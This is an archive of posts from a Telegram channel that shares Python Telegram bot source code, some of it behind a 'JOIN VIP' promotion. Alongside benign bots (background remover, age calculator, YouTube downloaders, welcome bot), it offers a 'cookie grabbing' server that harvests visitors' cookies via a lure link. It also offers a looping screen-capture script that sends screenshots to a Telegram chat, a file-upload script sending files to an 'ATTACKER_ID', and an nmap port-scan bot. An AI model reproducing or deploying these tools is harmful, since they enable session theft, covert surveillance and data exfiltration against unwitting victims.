uz
Feedback
Python Telegram Bots

Python Telegram Bots

Kanalga Telegram’da o‘tish

All types of python telegram bot with explanation. By @efxtv

Ko'proq ko'rsatish
Mamlakat belgilanmaganToif belgilanmagan
339
Obunachilar
Ma'lumot yo'q24 soatlar
Ma'lumot yo'q7 kun
Ma'lumot yo'q30 kun
Postlar arxiv
Image Background Remover Telegram bot Must create a downloads directory in pwd ✨ JOIN VIP
import os
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext

TOKEN = 'CHANGE_ME'

def start(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('Welcome! Send me an image and I will remove its background.')

def handle_image(update: Update, context: CallbackContext) -> None:
    photo_file = update.message.photo[-1].get_file()
    filename = os.path.join('downloads', 'image.jpg')
    photo_file.download(filename)
    
    processed_image = remove_background(filename)
    
    update.message.reply_photo(photo=open(processed_image, 'rb'))

def remove_background(image_path):
    image = cv2.imread(image_path)
    
    mask = np.zeros(image.shape[:2], np.uint8)
    backgroundModel = np.zeros((1, 65), np.float64)
    foregroundModel = np.zeros((1, 65), np.float64)
    rect = (50, 50, image.shape[1] - 50, image.shape[0] - 50)
    cv2.grabCut(image, mask, rect, backgroundModel, foregroundModel, 5, cv2.GC_INIT_WITH_RECT)
    mask2 = np.where((mask == 2) | (mask == 0), 0, 1).astype('uint8')
    image = image * mask2[:, :, np.newaxis]

    output_path = os.path.join('downloads', 'processed_image.jpg')
    cv2.imwrite(output_path, image)

    return output_path

def main() -> None:
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(MessageHandler(Filters.photo & ~Filters.command, handle_image))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()
#python_Telegram_Bot

Cookie grabbing via Telegram bot ✨ JOIN VIP
import http.server
import http.cookies
from telegram.ext import Updater, CommandHandler

class CookieDumpHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        
        self.wfile.write(b"<html><body><h1>Hello, world!</h1></body></html>")
        
        cookies = http.cookies.SimpleCookie(self.headers.get('Cookie'))
        with open('cookies.txt', 'a') as f:
            for cookie in cookies.values():
                cookie_str = f"{cookie.output(header='').strip()}\n"
                f.write(cookie_str)
        print("Cookies saved to cookies.txt")

def start(update, context):
    update.message.reply_text("Click the link to access the server: http://your-server-address:8000")

def main():
    updater = Updater("CANGE_ME", use_context=True)
    dispatcher = updater.dispatcher

    start_handler = CommandHandler('start', start)
    dispatcher.add_handler(start_handler)

    updater.start_polling()

    run_server()

if __name__ == '__main__':
    main()
#python_Telegram_Bot

Develop a Python bot which can create multiple YouTube Short videos for you. NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. ✨ JOIN VIP Create Telegram bot YoutubeShorts.py: ⚡️ First, install the necessary libraries: Save file as requirements.txt
pytube==11.0.0
moviepy==1.0.3
pyTelegramBotAPI==4.0.0
Run to install
pip install -r requirements.txt
import telebot
import re
from pytube import YouTube
from moviepy.editor import VideoFileClip

TOKEN = 'APITOCKEN_HERE'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "Welcome! Send me a YouTube URL to get short clips. By t.me/efxtv")

@bot.message_handler(regexp=r'(https?://)?(www\.)?(youtube\.com|youtu\.be)/.+$')
def handle_youtube_url(message):
    url = message.text.strip()
    video_id = extract_video_id(url)
    if video_id:
        try:
            video = YouTube(url)
            clip_path = download_video(video)
            duration = get_video_duration(clip_path)
            timestamps = generate_timestamps(duration)
            for start, end in timestamps:
                short_clip_path = extract_clip(clip_path, start, end)
                with open(short_clip_path, 'rb') as f:
                    bot.send_video(message.chat.id, f)
        except Exception as e:
            bot.reply_to(message, f"An error occurred: {e}")
    else:
        bot.reply_to(message, "Invalid YouTube URL")

def extract_video_id(url):
    video_id_regex = r'(?:https?://)?(?:www\.)?(?:youtube\.com/watch\?v=|youtu\.be/)([a-zA-Z0-9_-]+)'
    match = re.match(video_id_regex, url)
    if match:
        return match.group(1)
    return None

def download_video(video):
    stream = video.streams.get_highest_resolution()
    return stream.download()

def get_video_duration(video_path):
    clip = VideoFileClip(video_path)
    duration = clip.duration
    clip.close()
    return duration

def generate_timestamps(duration):
    timestamps = []
    start = 0
    while start < duration:
        end = min(start + 30, duration)
        timestamps.append((start, end))
        start += 30
    return timestamps

def extract_clip(video_path, start, end):
    clip = VideoFileClip(video_path).subclip(start, end)
    short_clip_path = f"clip_{start}_{end}.mp4"
    clip.write_videofile(short_clip_path, codec='libx264')
    return short_clip_path

bot.polling()
#python_Telegram_Bot

Take screenshot Using Python Telegram Bot NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. Create Telegram bot Screenshot.py: ⚡️ First, install the necessary libraries:
pip install pyautogui python-telegram-bot pillow
⚡️ Save the script as Screenshot.py JOIN VIP To add more features
import pyautogui
from PIL import Image
from io import BytesIO
from telegram import Bot

def take_screenshot():
    screenshot = pyautogui.screenshot()
    return screenshot

def send_screenshot(bot_token, chat_id, screenshot):
    bot = Bot(token=bot_token)
    with BytesIO() as bio:
        screenshot.save(bio, format="PNG")
        bio.seek(0)
        bot.send_photo(chat_id=chat_id, photo=bio)

if __name__ == "__main__":
    BOT_TOKEN = "ChangeMe"
    
    CHAT_ID = "ChangeMe"
    
    while True:
        screenshot = take_screenshot()
        
        send_screenshot(BOT_TOKEN, CHAT_ID, screenshot)
⚡️ Execute the 'Screenshot.py' script, and visit your Telegram bot, type '/start' to receive files. #Screenshot #python_telegram_bot_source_codes #python_Telegram_Bot

Age calculator Telegram bot. This bot will tell you the detailed age and time duration you lived so far. NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. Create Telegram bot AgeCalculator.py: ⚡️ First, install the necessary libraries:
$ pip install python-telegram-bot
⚡️ Save the script as AgeCalculator.py Join VIP
import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import datetime
import time

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'

def start(update, context):
    update.message.reply_text("Welcome to EFXTV Age Calculator Bot!")
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your date of birth in DD/MM/YYYY format?")
    
def get_dob(update, context):
    dob = update.message.text
    context.user_data['dob'] = dob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your time of birth in HH:MM format?")
    
def get_tob(update, context):
    tob = update.message.text
    context.user_data['tob'] = tob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Thank you. Please wait...")
    time.sleep(1)
    calculate_age(update, context)
    
def calculate_age(update, context):
    try:
        dob_str = context.user_data.get('dob')
        tob_str = context.user_data.get('tob')
        
        if not dob_str or not tob_str:
            raise ValueError("Date of birth or time of birth is missing.")
        
        dob = datetime.datetime.strptime(dob_str, '%d/%m/%Y')
        tob = datetime.datetime.strptime(tob_str, '%H:%M')
        
        now = datetime.datetime.now()
        age = now - dob
        
        total_hours = age.total_seconds() / 3600
        total_minutes = age.total_seconds() / 60
        total_seconds = age.total_seconds()
        age_in_months = (now.year - dob.year) * 12 + now.month - dob.month
        age_in_years = age_in_months // 12
        remaining_months = age_in_months % 12
        
        age_in_days = age.days
        
        day_of_birth = dob.strftime("%A")
        
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total hours: {total_hours:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total minutes: {total_minutes:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total seconds: {total_seconds:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in months: {age_in_months}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in years: {age_in_years}Y {remaining_months}M {age_in_days}D")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"The day you were born on: {day_of_birth}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Please follow us on @python_telegram_bot_source_codes")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Kindly pass '/start' to start again")
    except ValueError as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
    finally:
        context.user_data.clear()
        
updater = Updater(TOKEN, use_context=True)

dp = updater.dispatcher

dp.add_handler(CommandHandler("start", start))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}/\d{2}/\d{4}$'), get_dob))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}:\d{2}$'), get_tob))
dp.add_handler(MessageHandler(Filters.text & ~Filters.command, calculate_age))

updater.start_polling()
updater.idle()
⚡️ Execute the 'AgeCalculator.py' script, and visit your Telegram bot, type '/start' to receive the welcome message. #agecalculator #python_telegram_bot_source_codes #python_Telegram_Bot

Develop a Python bot which can share any file seamlessly, without the necessity for port forwarding or delving into technical intricacies NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. ✨ JOIN VIP
import os
import sys
import telebot

# YOU CAN MODIFY 
# BOT_TOKEN = 'MODIFY'
# GROUP_CHAT_ID = 'MODIFY'
# INSTALL PYTHON AND TELEBOT

BOT_TOKEN = 'MODIFY'

ATTACKER_ID = 'MODIFY'

bot = telebot.TeleBot(BOT_TOKEN)

def send_message(message):
    bot.send_message(ATTACKER_ID, message)

def upload_file(file_path):
    try:
        file_name = os.path.basename(file_path)

        with open(file_path, 'rb') as f:
            bot.send_document(ATTACKER_ID, f, caption=f'File "{file_name}" uploaded successfully!')

    except Exception as e:
        send_message(f'Error uploading file: {str(e)}')

if len(sys.argv) != 2:
    print("Usage: python upload.py <file_path>")
    sys.exit(1)

file_path = sys.argv[1]

upload_file(file_path)

#uploadfiles #python_telegram_bot_source_codes #python_Telegram_Bot

Create a telegram bot to scan IP/host/websites (enter the IP and get the fastest open port report) NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. Create Telegram bot Scan.py: Join VIP ⚡️ First, install the necessary libraries:
$ pip install python-telegram-bot==13.7

$ pip install python-nmap
⚡️ Create a file Filename.py ⚡️ Go to BotFather and create a new Telegram Bot ⚡️ Save the script as Filename.py Source
import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import nmap

bot = telegram.Bot(token='YOUR_TOKEN')
updater = Updater('YOUR_TOKEN', use_context=True)
dispatcher = updater.dispatcher

nm = nmap.PortScanner()

def start(update, context):
    context.bot.send_message(chat_id=update.effective_chat.id, text="Welcome there ! Please pass the IP or Host.")

def scan(update, context):
    try:
        target = update.message.text

        nm.scan(hosts=target, arguments='-T4 -F')

        scan_result = ''
        for host in nm.all_hosts():
            scan_result += f"Host: {host}\n"
            for proto in nm[host].all_protocols():
                ports = nm[host][proto].keys()
                for port in ports:
                    port_info = nm[host][proto][port]
                    scan_result += f"Port: {port} State: {port_info['state']} Service: {port_info['name']}"
                    if 'product' in port_info:
                        scan_result += f", Version: {port_info['product']}"
                    scan_result += "\n"

        context.bot.send_message(chat_id=update.effective_chat.id, text=scan_result)
    except Exception as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Error: {str(e)}")

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

message_handler = MessageHandler(Filters.text & ~Filters.command, scan)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()
⚡️ Execute the 'Scan.py' script, and visit your Telegram bot, type '/start' to receive the welcome message. ⚡️ Pass the IP/host and get open ports, service and versions. #nmap #python_telegram_bot_source_codes #python_Telegram_Bot

Audio created with MurfAI #Nmap #python_telegram_bot_source_codes #python_Telegram_Bot @python_telegram_bot_source_codes Source will be shared Soon 😊

How to download YouTube videos anytime using a Telegram bot. NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. Create Telegram bot Youtube_Downloader.py: ⚡️ First, install the necessary libraries:
$ pip install pyTelegramBotAPI pytube
⚡️ Create a file Youtube_Downloader.py ⚡️ Go to BotFather and create a new Telegram Bot ⚡️ Save the script as Youtube_Downloader.py JOIN VIP
import telebot
from pytube import YouTube

# Change the 'TOKEN' (GENERATED BY BOT FATHER)
TOKEN = 'TOKEN'
bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "Welcome to EFX TV YouTube Downloader Bot!\nSend me a YouTube link and I'll download the video for you. Cheers")

@bot.message_handler(func=lambda message: True)
def download_video(message):
    try:
        youtube_url = message.text
        yt = YouTube(youtube_url)
        stream = yt.streams.filter(progressive=True, file_extension='mp4').first()
        video_file = stream.download()
        with open(video_file, 'rb') as video:
            bot.send_video(message.chat.id, video)
    except Exception as e:
        bot.reply_to(message, f"An error occurred: {str(e)}")

bot.polling()
⚡️ Execute the 'Youtube_Downloader.py' script, and visit your Telegram bot, type '/start' to receive the welcome message. ⚡️ Send a YouTube Link and Download the video. #YouTubeDownloader #python_telegram_bot_source_codes #python_Telegram_Bot

To utilize the User Info Telegram Bot, simply search for "@userinfobot" in Telegram and click on "start". This bot will furnish you with your ID, first name, and language, which can be utilized in our forthcoming applications.

How to use Bot Father ? Create our first Telegram bot (WelcomeBot.py) using the BotFather Step by step: NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals. ⚡️ Install libraries
$ pip install pyTelegramBotAPI
⚡️ Telegram Bot Using BotFather ⚡️ Search for "BotFather" ⚡️ type /start. ⚡️ type /newbot to create a new bot. ⚡️ Follow the instructions to provide a name for your bot. ⚡️ This name should end with "bot" (e.g., "WelcomeBot"). ⚡️ Choose a username for your bot. ⚡️ This username must end with "bot" and be unique. after finish ⚡️ BotFather will provide you with an API token. ⚡️ This token is essential for interacting with the Telegram Bot API. Keep it secure. ⚡️ Demo Welcome bot. Save it as WelcomeBot.py JOIN VIP
import telebot

TOKEN = 'Token_here'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "Welcome to EFX Tv Support ! How can I assist you?")

@bot.message_handler(func=lambda message: True)
def echo_message(message):
    bot.reply_to(message, message.text)

bot.polling()
⚡️ Execute the 'WelcomeBot.py' script, and visit your Telegram bot, type '/start' to receive the welcome message. #python_telegram_bot_source_codes #python_Telegram_Bot

👉🏻 VISIT THE LINK TO JOIN VIP https://t.me/efxtv/3584 List of bots we will use in #python_telegram_bot_source_codes #bots ⚫️ Bot Father - How to use Bot Father ⚫️ User Info Bot - How to use User Info Bot Updating ...